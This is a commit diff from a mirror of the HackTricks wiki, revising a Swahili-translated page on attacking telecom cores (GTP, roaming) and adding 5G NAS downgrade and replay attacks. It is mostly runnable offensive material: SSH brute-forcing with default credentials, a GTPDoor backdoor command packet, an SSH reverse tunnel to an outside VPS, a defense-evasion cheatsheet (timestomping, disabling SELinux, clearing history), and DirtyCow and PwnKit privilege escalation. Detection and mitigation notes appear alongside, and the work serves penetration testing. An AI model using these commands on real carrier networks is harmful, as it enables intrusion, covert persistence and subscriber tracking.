mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw
This commit is contained in:
		
							parent
							
								
									aa527db12a
								
							
						
					
					
						commit
						dbdfa0e2e2
					
				@ -1,27 +1,27 @@
 | 
				
			|||||||
# Telecom Network Exploitation (GTP / Roaming Environments)
 | 
					# Utekaji wa Mtandao wa Telecom (GTP / Roaming Environments)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#include ../../banners/hacktricks-training.md}}
 | 
					{{#include ../../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
> [!NOTE]
 | 
					> [!NOTE]
 | 
				
			||||||
> Protokali za msingi za simu (GPRS Tunnelling Protocol – GTP) mara nyingi hupita kwenye mifumo ya GRX/IPX ya kuhamahama ambayo inaaminika kwa kiasi fulani.  Kwa sababu zinatumia UDP bila uthibitisho wowote, **mara nyingi mguu wowote ndani ya mipaka ya telecom unaweza kufikia moja kwa moja ndege za ishara za msingi**.  Maelezo yafuatayo yanakusanya mbinu za mashambulizi zilizoshuhudiwa katika mazingira halisi dhidi ya SGSN/GGSN, PGW/SGW na nodi nyingine za EPC.
 | 
					> Mobile-core protocols (GPRS Tunnelling Protocol – GTP) mara nyingi husafiri kwenye semi-trusted GRX/IPX roaming backbones. Kwa sababu zinatumia UDP wazi bila uthibitisho mwingi, **nafasi ya kuingia ndani ya mipaka ya telecom mara nyingi inaweza kufikia ngazi za uashiriaji za msingi moja kwa moja**. Vidokezo vinavyoifuata vinakusanya mbinu za mashambulizi zilizoshuhudiwa kwenye mazingira halisi dhidi ya SGSN/GGSN, PGW/SGW na nodi nyingine za EPC.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## 1. Recon & Initial Access
 | 
					## 1. Uchunguzi & Upataji wa Awali
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### 1.1  Default OSS / NE Accounts
 | 
					### 1.1  Akaunti za OSS / NE za Chaguo-msingi
 | 
				
			||||||
Seti kubwa ya ajabu ya vipengele vya mtandao wa wauzaji huja na watumiaji wa SSH/Telnet waliowekwa kwa nguvu kama `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, …  Orodha ya maneno iliyotengwa huongeza kwa kiasi kikubwa mafanikio ya brute-force:
 | 
					Seti kubwa, kwa mshangao, ya vendor network elements huja na watumiaji wa SSH/Telnet walio hard-coded kama `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Orodha maalum ya maneno (wordlist) inaongeza kwa kiasi kikubwa mafanikio ya brute-force:
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
 | 
					hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Ikiwa kifaa kinatoa tu VRF ya usimamizi, pitisha kupitia mwenyeji wa jump kwanza (tazama sehemu «SGSN Emu Tunnel» hapa chini).
 | 
					Ikiwa kifaa kinatoa management VRF pekee, pivot kupitia jump host kwanza (angalia sehemu «SGSN Emu Tunnel» hapa chini).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### 1.2  Ugunduzi wa Mwenyeji ndani ya GRX/IPX
 | 
					### 1.2  Ugundaji wa Host ndani ya GRX/IPX
 | 
				
			||||||
Watoa huduma wengi wa GRX bado wanaruhusu **ICMP echo** kupitia msingi. Changanya `masscan` na uchunguzi wa `gtpv1` UDP uliojengwa ndani ili haraka kuchora wasikilizaji wa GTP-C:
 | 
					Wengi wa waendeshaji wa GRX bado huruhusu **ICMP echo** kupitia backbone. Changanya `masscan` na probe za UDP zilizojengwa `gtpv1` ili ramani kwa haraka wasikilizi wa GTP-C:
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
 | 
					masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
## 2. Kuorodhesha Wajibu – `cordscan`
 | 
					## 2. Kuorodhesha Abonenti – `cordscan`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Zana hii ya Go inatengeneza **GTP-C Create PDP Context Request** pakiti na kurekodi majibu. Kila jibu linafunua **SGSN / MME** inayohudumia IMSI iliyoulizwa na, wakati mwingine, PLMN iliyotembelewa na mteja.
 | 
					Zana ifuatayo ya Go inatengeneza vifurushi vya **GTP-C Create PDP Context Request** na inarekodi majibu. Kila jibu linafunua **SGSN / MME** ya sasa inayohudumia IMSI iliyoulizwa na, wakati mwingine, PLMN aliyotembelewa na abonenti.
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
# Build
 | 
					# Build
 | 
				
			||||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
 | 
					GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
 | 
				
			||||||
@ -29,22 +29,22 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
 | 
				
			|||||||
# Usage (typical):
 | 
					# Usage (typical):
 | 
				
			||||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
 | 
					./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Key flags:
 | 
					Bendera kuu:
 | 
				
			||||||
- `--imsi` Lengo la mteja IMSI
 | 
					- `--imsi` IMSI ya mteja lengwa
 | 
				
			||||||
- `--oper` Nyumbani / HNI (MCC+MNC)
 | 
					- `--oper` Home / HNI (MCC+MNC)
 | 
				
			||||||
- `-w`      Andika pakiti za raw kwenye pcap
 | 
					- `-w`      Andika vifurushi ghafi kwenye pcap
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Misingi muhimu ndani ya binary inaweza kubadilishwa ili kupanua skana:
 | 
					Vigezo muhimu ndani ya binary vinaweza kurekebishwa ili kupanua skani:
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
pingtimeout       = 3   // seconds before giving up
 | 
					pingtimeout       = 3   // seconds before giving up
 | 
				
			||||||
pco               = 0x218080
 | 
					pco               = 0x218080
 | 
				
			||||||
common_tcp_ports  = "22,23,80,443,8080"
 | 
					common_tcp_ports  = "22,23,80,443,8080"
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
## 3. Utekelezaji wa Kanuni kupitia GTP – `GTPDoor`
 | 
					## 3. Code Execution over GTP – `GTPDoor`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
`GTPDoor` ni huduma ndogo ya ELF ambayo **inafungua UDP 2123 na kuchambua kila pakiti ya GTP-C inayokuja**. Wakati mzigo unapoanza na lebo iliyoshirikiwa awali, yaliyobaki yanachambuliwa (AES-128-CBC) na kutekelezwa kupitia `/bin/sh -c`. Stdout/stderr zinahamishwa ndani ya **Echo Response** ujumbe ili kwamba hakuna kikao chochote cha nje kinachoundwa.
 | 
					`GTPDoor` ni huduma ndogo ya ELF ambayo **inasikiliza UDP 2123 na inachambua kila packet ya GTP-C inayokuja**. Wakati payload inaanza na pre-shared tag, sehemu iliyobaki ina-decrypted (AES-128-CBC) na inatekelezwa kupitia `/bin/sh -c`. stdout/stderr zinexfiltrated ndani ya **Echo Response** messages ili hakuna outward session ipatikane.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Pakiti ya PoC ya chini (Python):
 | 
					Minimal PoC packet (Python):
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
import gtpc, Crypto.Cipher.AES as AES
 | 
					import gtpc, Crypto.Cipher.AES as AES
 | 
				
			||||||
key = b"SixteenByteKey!"
 | 
					key = b"SixteenByteKey!"
 | 
				
			||||||
@ -52,38 +52,38 @@ cmd = b"id;uname -a"
 | 
				
			|||||||
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
 | 
					enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
 | 
				
			||||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
 | 
					print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Detection:
 | 
					Utambuzi:
 | 
				
			||||||
* mwenyeji yeyote anayepeleka **Maombi ya Echo yasiyo sawa** kwa IP za SGSN
 | 
					* host yoyote inayetuma **unbalanced Echo Requests** kwa anwani za IP za SGSN
 | 
				
			||||||
* Bendera ya toleo la GTP imewekwa kuwa 1 wakati aina ya ujumbe = 1 (Echo) – mabadiliko kutoka kwa spesifiki
 | 
					* bendera ya GTP version imewekwa kwa 1 wakati message type = 1 (Echo) – deviation from spec
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## 4. Pivoting Through the Core
 | 
					## 4. Pivoting Through the Core
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### 4.1  `sgsnemu` + SOCKS5
 | 
					### 4.1  `sgsnemu` + SOCKS5
 | 
				
			||||||
`OsmoGGSN` inatoa emulators ya SGSN inayoweza **kuanzisha muktadha wa PDP kuelekea GGSN/PGW halisi**. Mara baada ya kujadiliwa, Linux inapokea kiunganishi kipya cha `tun0` kinachoweza kufikiwa kutoka kwa mwenzi wa roaming.
 | 
					`OsmoGGSN` hutoa SGSN emulator inayoweza **kuanzisha PDP context kuelekea GGSN/PGW halisi**. Mara baada ya makubaliano, Linux hupokea interface mpya `tun0` inayoweza kufikiwa kutoka kwa roaming peer.
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
 | 
					sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
 | 
				
			||||||
-APN internet -c 1 -d
 | 
					-APN internet -c 1 -d
 | 
				
			||||||
ip route add 172.16.0.0/12 dev tun0
 | 
					ip route add 172.16.0.0/12 dev tun0
 | 
				
			||||||
microsocks -p 1080 &   # internal SOCKS proxy
 | 
					microsocks -p 1080 &   # internal SOCKS proxy
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Kwa matumizi sahihi ya firewall hair-pinning, handaki hii inapita VLANs za ishara pekee na inakufikisha moja kwa moja kwenye **data plane**.
 | 
					Kwa hair-pinning sahihi ya firewall, tunnel hii inapita kando ya signalling-only VLANs na inakuweka moja kwa moja kwenye **data plane**.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### 4.2  SSH Reverse Tunnel juu ya Port 53
 | 
					### 4.2  SSH Reverse Tunnel over Port 53
 | 
				
			||||||
DNS karibu kila wakati iko wazi katika miundombinu ya kuhamahama.  Funua huduma ya ndani ya SSH kwa VPS yako inayosikiliza kwenye :53 na urudi baadaye kutoka nyumbani:
 | 
					DNS karibu kila mara iko wazi katika miundombinu ya roaming. Fungua huduma ya ndani ya SSH kwa VPS yako ikisikiliza kwenye :53, kisha rudi nyumbani baadaye:
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
 | 
					ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Check that `GatewayPorts yes` is enabled on the VPS.
 | 
					Hakikisha kwamba `GatewayPorts yes` imewezeshwa kwenye VPS.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## 5. Covert Channels
 | 
					## 5. Covert Channels
 | 
				
			||||||
 | 
					
 | 
				
			||||||
| Channel | Transport | Decoding | Notes |
 | 
					| Chaneli | Usafirishaji | Kuutafsiri | Maelezo |
 | 
				
			||||||
|---------|-----------|----------|-------|
 | 
					|---------|--------------|------------|---------|
 | 
				
			||||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | msikivu safi, hakuna trafiki ya nje |
 | 
					| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | msikilizaji pasivu kabisa, hakuna trafiki ya kutoka |
 | 
				
			||||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | inatazama `*.nodep` sub-domain |
 | 
					| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) imekodishwa katika octets za rekodi A | inatazama sub-domain `*.nodep` |
 | 
				
			||||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | inachanganyika na mazungumzo halali ya GTP-C |
 | 
					| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob katika private IE | inajumuika na mazungumzo halali ya GTP-C |
 | 
				
			||||||
 | 
					
 | 
				
			||||||
All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed.
 | 
					Implants zote zina watchdogs zinazofanya **timestomp** binaries zao na ku-re-spawn ikiwa zimecrash.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## 6. Defense Evasion Cheatsheet
 | 
					## 6. Defense Evasion Cheatsheet
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm    # appears as [kworker/1]
 | 
				
			|||||||
touch -r /usr/bin/time /usr/bin/chargen   # timestomp
 | 
					touch -r /usr/bin/time /usr/bin/chargen   # timestomp
 | 
				
			||||||
setenforce 0                              # disable SELinux
 | 
					setenforce 0                              # disable SELinux
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
## 7. Kuinua Haki kwenye NE za Kizamani
 | 
					## 7. Privilege Escalation kwenye Legacy NE
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
# DirtyCow – CVE-2016-5195
 | 
					# DirtyCow – CVE-2016-5195
 | 
				
			||||||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
 | 
					gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
 | 
				
			||||||
@ -111,30 +111,137 @@ python3 PwnKit.py
 | 
				
			|||||||
# Sudo Baron Samedit – CVE-2021-3156
 | 
					# Sudo Baron Samedit – CVE-2021-3156
 | 
				
			||||||
python3 exploit_userspec.py
 | 
					python3 exploit_userspec.py
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Usafi wa mazingira:
 | 
					Kidokezo cha usafishaji:
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
userdel firefart 2>/dev/null
 | 
					userdel firefart 2>/dev/null
 | 
				
			||||||
rm -f /tmp/sh ; history -c
 | 
					rm -f /tmp/sh ; history -c
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
## 8. Tool Box
 | 
					## 8. Zana
 | 
				
			||||||
 | 
					
 | 
				
			||||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – zana za kawaida zilizoelezwa katika sehemu za awali.
 | 
					* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – zana maalum zilizotajwa katika sehemu zilizopita.
 | 
				
			||||||
* `FScan` : skanning ya TCP ya intranet (`fscan -p 22,80,443 10.0.0.0/24`)
 | 
					* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
 | 
				
			||||||
* `Responder` : LLMNR/NBT-NS rogue WPAD
 | 
					* `Responder` : LLMNR/NBT-NS rogue WPAD
 | 
				
			||||||
* `Microsocks` + `ProxyChains` : pivoting nyepesi wa SOCKS5
 | 
					* `Microsocks` + `ProxyChains` : pivoting nyepesi ya SOCKS5
 | 
				
			||||||
* `FRP` (≥0.37) : NAT traversal / bridging ya mali
 | 
					* `FRP` (≥0.37) : uvuka NAT / kuunganisha mali
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Taratibu ya usajili ya 5G inaendeshwa juu ya NAS (Non-Access Stratum) juu ya NGAP. Hadi usalama wa NAS uanzishwe na Security Mode Command/Complete, ujumbe wa awali hauhakikiwa na haujasimbwa. Dirisha hili kabla ya usalama linaweza kuwezesha njia mbalimbali za kushambulia wakati unaweza kuangalia au kubadilisha trafiki ya N2 (mf., on-path ndani ya core, rogue gNB, au testbed).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Mtiririko wa usajili (ulifupishwa):
 | 
				
			||||||
 | 
					- Registration Request: UE inatuma SUCI (SUPI iliyosimbwa) na sifa/uwezo.
 | 
				
			||||||
 | 
					- Authentication: AMF/AUSF hutuma RAND/AUTN; UE hurudisha RES*.
 | 
				
			||||||
 | 
					- Security Mode Command/Complete: uadilifu na usimbaji wa NAS vinajadiliwa na kuanzishwa.
 | 
				
			||||||
 | 
					- PDU Session Establishment: usanidi wa IP/QoS.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Vidokezo vya kuanzisha maabara (si-RF):
 | 
				
			||||||
 | 
					- Core: usanidi wa default wa Open5GS unatosha kuiga mtiririko.
 | 
				
			||||||
 | 
					- UE: simulator au UE ya majaribio; tumia Wireshark kuchambua.
 | 
				
			||||||
 | 
					- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
 | 
				
			||||||
 | 
					- Useful display filters in Wireshark:
 | 
				
			||||||
 | 
					- ngap.procedure_code == 15 (InitialUEMessage)
 | 
				
			||||||
 | 
					- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### 9.1 Faragha ya kitambulisho: kushindwa kwa SUCI kunachofichua SUPI/IMSI
 | 
				
			||||||
 | 
					Kinachotarajiwa: UE/USIM lazima itume SUCI (SUPI iliyosimbwa kwa funguo ya umma ya home-network). Kupata SUPI/IMSI ya plaintext katika Registration Request kunaonyesha kasoro ya faragha inayoweza kuwezesha ufuatiliaji wa mteja kwa kudumu.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Jinsi ya kujaribu:
 | 
				
			||||||
 | 
					- Kamua ujumbe wa kwanza wa NAS katika InitialUEMessage na kagua Mobile Identity IE.
 | 
				
			||||||
 | 
					- Uhakiki wa haraka wa Wireshark:
 | 
				
			||||||
 | 
					- Inapaswa kutafsiriwa kama SUCI, si IMSI.
 | 
				
			||||||
 | 
					- Mfano wa vichujio: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` inapaswa kuwepo; kutokuwepo pamoja na kuwepo kwa `imsi` indicates leakage.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Nini cha kukusanya:
 | 
				
			||||||
 | 
					- MCC/MNC/MSIN ikiwa imefunuliwa; rekodi kwa kila UE na fuatilia kwa muda/mahali.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Kuzuia:
 | 
				
			||||||
 | 
					- Lazimisha UEs/USIMs zinazotuma SUCI pekee; toa tahadhari kwa IMSI/SUPI yoyote katika NAS ya awali.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### 9.2 Kupungua kwa uwezo hadi algorithimu za null (EEA0/EIA0)
 | 
				
			||||||
 | 
					Asili:
 | 
				
			||||||
 | 
					- UE inatangaza EEA (encryption) na EIA (integrity) zinazotegemewa katika UE Security Capability IE ya Registration Request.
 | 
				
			||||||
 | 
					- Mepangilio ya kawaida: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 ni algorithimu za null.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Tatizo:
 | 
				
			||||||
 | 
					- Kwa sababu Registration Request haijalindwa kwa uadilifu, mshambuliaji aliye on-path anaweza kuzima bits za capability ili kulazimisha uteuzi wa EEA0/EIA0 baadaye wakati wa Security Mode Command. Baadhi ya stacks vibaya huwaruhusu algorithimu za null hata nje ya huduma za dharura.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Hatua za kushambulia:
 | 
				
			||||||
 | 
					- Shika InitialUEMessage na badilisha NAS UE Security Capability ili itangaze EEA0/EIA0 tu.
 | 
				
			||||||
 | 
					- Kwa Sni5Gect, hook ujumbe wa NAS na patch bits za capability kabla ya kupeleka mbele.
 | 
				
			||||||
 | 
					- Angalia kama AMF inakubali ciphers/udhibiti za null na inakamilisha Security Mode kwa EEA0/EIA0.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Uthibitisho/uwazi:
 | 
				
			||||||
 | 
					- Katika Wireshark, thibitisha algorithimu zilizochaguliwa baada ya Security Mode Command/Complete.
 | 
				
			||||||
 | 
					- Mfano wa matokeo ya passive sniffer:
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					Encyrption in use [EEA0]
 | 
				
			||||||
 | 
					Integrity in use [EIA0, EIA1, EIA2]
 | 
				
			||||||
 | 
					SUPI (MCC+MNC+MSIN) 9997000000001
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					Mikakati ya kupunguza (lazima):
 | 
				
			||||||
 | 
					- Sanidi AMF/policy ili kukataa EEA0/EIA0 isipokuwa pale inapohitajika kwa umakini (mf., simu za dharura).
 | 
				
			||||||
 | 
					- Pendelea kutekeleza EEA2/EIA2 angalau; rekodi na toa onyo/alaramu kwa muktadha wowote wa usalama wa NAS unaojadiliana na null algorithms.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### 9.3 Replay ya initial Registration Request (pre-security NAS)
 | 
				
			||||||
 | 
					Kwa sababu initial NAS haina integrity na freshness, InitialUEMessage+Registration Request iliyorekodiwa inaweza kureplayed kwa AMF.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					PoC rule for 5GReplay to forward matching replays:
 | 
				
			||||||
 | 
					```xml
 | 
				
			||||||
 | 
					<beginning>
 | 
				
			||||||
 | 
					<property value="THEN"
 | 
				
			||||||
 | 
					property_id="101"
 | 
				
			||||||
 | 
					type_property="FORWARD"
 | 
				
			||||||
 | 
					description="Forward InitialUEMessage with Registration Request">
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
 | 
				
			||||||
 | 
					<event value="COMPUTE"
 | 
				
			||||||
 | 
					event_id="1"
 | 
				
			||||||
 | 
					description="Trigger: InitialUEMessage"
 | 
				
			||||||
 | 
					boolean_expression="ngap.procedure_code == 15"/>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					<!-- Context match on NAS Registration Request (message_type == 65) -->
 | 
				
			||||||
 | 
					<event value="COMPUTE"
 | 
				
			||||||
 | 
					event_id="2"
 | 
				
			||||||
 | 
					description="Context: Registration Request"
 | 
				
			||||||
 | 
					boolean_expression="nas_5g.message_type == 65"/>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					</property>
 | 
				
			||||||
 | 
					</beginning>
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					Kile cha kuangalia:
 | 
				
			||||||
 | 
					- Je, AMF inakubali replay na kuendelea na Authentication; ukosefu wa freshness/context validation unaonyesha udhaifu.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Mitigations:
 | 
				
			||||||
 | 
					- Enforce replay protection/context binding kwenye AMF; rate-limit na correlate per-GNB/UE.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### 9.4 Tooling pointers (reproducible)
 | 
				
			||||||
 | 
					- Open5GS: anzisha AMF/SMF/UPF kuiga core; tazama N2 (NGAP) na NAS.
 | 
				
			||||||
 | 
					- Wireshark: hakiki decodes za NGAP/NAS; tumia filters zilizo juu kutenganisha Registration.
 | 
				
			||||||
 | 
					- 5GReplay: capture registration, kisha replay NGAP + NAS messages maalum kama ilivyo kwenye rule.
 | 
				
			||||||
 | 
					- Sni5Gect: live sniff/modify/inject NAS control-plane ili kulazimisha null algorithms au kuingilia authentication sequences.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### 9.5 Defensive checklist
 | 
				
			||||||
 | 
					- Fuatilia kila wakati Registration Request kwa SUPI/IMSI zilizo wazi (plaintext); zuia vifaa/USIMs vinavyokiuka.
 | 
				
			||||||
 | 
					- Kataa EEA0/EIA0 isipokuwa taratibu za dharura zilizoelezwa kwa ukungu; hitaji angalau EEA2/EIA2.
 | 
				
			||||||
 | 
					- Gundua infrastructure haramu au iliyopangwa vibaya: unauthorized gNB/AMF, unexpected N2 peers.
 | 
				
			||||||
 | 
					- Toa onyo kuhusu NAS security modes zinazosababisha null algorithms au replay mara kwa mara za InitialUEMessage.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
---
 | 
					---
 | 
				
			||||||
## Detection Ideas
 | 
					## Detection Ideas
 | 
				
			||||||
1. **Kila kifaa kingine isipokuwa SGSN/GGSN kinachounda Maombi ya Kuunda Muktadha wa PDP**.
 | 
					1. **Kifaa chochote isipokuwa SGSN/GGSN kinachounda Create PDP Context Requests**.
 | 
				
			||||||
2. **Bandari zisizo za kawaida (53, 80, 443) zinapokea mikono ya SSH** kutoka kwa IP za ndani.
 | 
					2. **Ports zisizo za kawaida (53, 80, 443) kupokea SSH handshakes** kutoka internal IPs.
 | 
				
			||||||
3. **Maombi ya Echo mara kwa mara bila Majibu ya Echo yanayolingana** – yanaweza kuashiria beacon za GTPDoor.
 | 
					3. **Echo Requests mara kwa mara bila Echo Responses zinazolingana** – inaweza kuashiria GTPDoor beacons.
 | 
				
			||||||
4. **Kiwango cha juu cha trafiki ya ICMP echo-reply yenye viwanja vikubwa, visivyo na sifuri vya kitambulisho/mfuatano**.
 | 
					4. **Kiwango kikubwa cha trafiki ya ICMP echo-reply yenye identifier/sequence fields kubwa, zisizo sifuri**.
 | 
				
			||||||
 | 
					5. 5G: **InitialUEMessage yenye NAS Registration Requests zinazorudiwa kutoka identical endpoints** (replay signal).
 | 
				
			||||||
 | 
					6. 5G: **NAS Security Mode negotiating EEA0/EIA0** nje ya emergency contexts.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## References
 | 
					## References
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
 | 
					- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
 | 
				
			||||||
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
 | 
					- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
 | 
				
			||||||
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
 | 
					- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
 | 
				
			||||||
 | 
					- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
 | 
				
			||||||
 | 
					- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
 | 
				
			||||||
 | 
					- 3GPP TS 33.501 – Security architecture and procedures for 5G System
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#include ../../banners/hacktricks-training.md}}
 | 
					{{#include ../../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
				
			|||||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user